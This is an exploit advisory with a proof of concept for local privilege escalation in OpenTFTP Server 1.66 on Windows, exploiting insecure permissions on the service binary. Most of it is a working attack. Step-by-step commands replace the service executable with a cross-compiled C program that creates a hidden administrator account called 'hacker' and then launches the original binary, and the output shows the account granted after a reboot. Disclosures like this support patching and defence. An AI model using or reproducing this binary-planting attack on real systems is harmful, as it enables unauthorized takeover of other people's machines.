OpenTFTP 1.66 Local Privilege Escalation

`# Exploit Title: OpenTFTP 1.66 - Local Privilege Escalation  
# Exploit Author: boku  
# Date: 2020-02-12  
# Vendor Homepage: https://sourceforge.net/projects/tftp-server/  
# Software Link: https://sourceforge.net/projects/tftp-server/files/tftp%20server%20single%20port/OpenTFTPServerSPInstallerV1.66.exe/download  
# Version: 1.66  
# Tested On: Windows 10 (32-bit)  
  
# About:   
# "MultiThreaded TFTP Server Open Source Freeware Windows/Unix for PXEBOOT, firmware load, support tsize, blksize, timeout Server Port Ranges,   
# Block Number Rollover for Large Files. Runs as Service/daemon. Single Port version also available."   
# Downloads: 43,284 This Week - https://sourceforge.net/projects/tftp-server/  
  
# Vulnerability Details:  
# On Windows, Open TFTP Server v1.66, suffers from insecure file & folder permissions.   
# This allows a low-privilge, local attacker to escalate their permissions to Administrator;   
# by replacing the 'TFTPServer' service binary with a maliciously-crafted, binary executable.   
# The TFTP Server runs as an 'Auto_Start' Service, with 'LocalSystem' priviledges, after the   
# default installation. After the attacker has planted the malicious binary, the code will   
# be executed with System priviledges on the next boot of the windows device. See PoC below for details.  
  
## Service Information (there is also an Unquoted Service Path)  
C:\>sc qc TFTPServer  
SERVICE_NAME: TFTPServer  
TYPE : 10 WIN32_OWN_PROCESS  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 0 IGNORE  
BINARY_PATH_NAME : C:\OpenTFTPServer\OpenTFTPServerSP.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : Open TFTP Single Port Server  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
## Insecure Folder Permission  
C:\OpenTFTPServer BUILTIN\Administrators:(OI)(CI)(ID)F  
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F  
BUILTIN\Users:(OI)(CI)(ID)R  
NT AUTHORITY\Authenticated Users:(ID)C  
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C  
  
## Insecure File/Service Permission  
C:\OpenTFTPServer\OpenTFTPServerSP.exe BUILTIN\Administrators:(I)(F)  
NT AUTHORITY\SYSTEM:(I)(F)  
BUILTIN\Users:(I)(RX)  
NT AUTHORITY\Authenticated Users:(I)(M)  
  
## Local Privilege Escalation Proof of Concept  
#0. Download & install Open TFTP Server v1.66  
  
#1. Create low privileged user & change to the user  
C:\Users\lowPrivUser>net user lowprivuser | findstr /i "Membership Name" | findstr /v "Full"  
User name lowPrivUser  
Local Group Memberships *Users  
Global Group memberships *None  
C:\>whoami  
mycomputer\lowprivuser   
  
#2. Move the Service EXE to a new name  
C:\OpenTFTPServer>move OpenTFTPServerSP.exe ~OpenTFTPServerSP.exe  
1 file(s) moved.  
  
#3. Create malicious binary on kali linux  
1) Download dependencies  
root@kali# apt install gcc-mingw-w64-i686 wine64 -y  
2) Add Admin User C Code  
root@kali# cat addAdmin.c  
#include<windows.h>  
int main(void){  
system("net user hacker mypassword /add");  
system("net localgroup Administrators hacker /add");  
WinExec("C:\\OpenTFTPServer\\~OpenTFTPServerSP.exe",0);  
return 0;  
}  
3) Compile Code  
root@kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o OpenTFTPServerSP.exe  
  
#4. Transfer created 'OpenTFTPServerSP.exe' to the Windows Host   
  
#5. Move the created 'OpenTFTPServerSP.exe' binary to the 'C:\OpenTFTPServer\' Folder  
C:\>move C:\Users\lowPrivUser\Desktop\OpenTFTPServerSP.exe C:\OpenTFTPServer\  
1 file(s) moved.  
C:\>dir C:\OpenTFTPServer | findstr "OpenTFTPServerSP.exe"  
02/12/2020 05:59 PM 288,659 OpenTFTPServerSP.exe  
02/12/2020 06:38 PM 221,560 ~OpenTFTPServerSP.exe  
  
#6. Reboot the Computer  
  
#7. Look at that new Admin  
C:\Users\lowPrivUser>net users hacker | findstr "Local name active"  
User name hacker  
Account active Yes  
Local Group Memberships *Administrators *Users  
  
C:\Users\lowPrivUser>net localgroup Administrators  
Alias name Administrators  
Comment Administrators have complete and unrestricted access to the computer/domain  
  
Members  
-------------------------------------------------------------------------------  
Administrator  
boku  
hacker  
`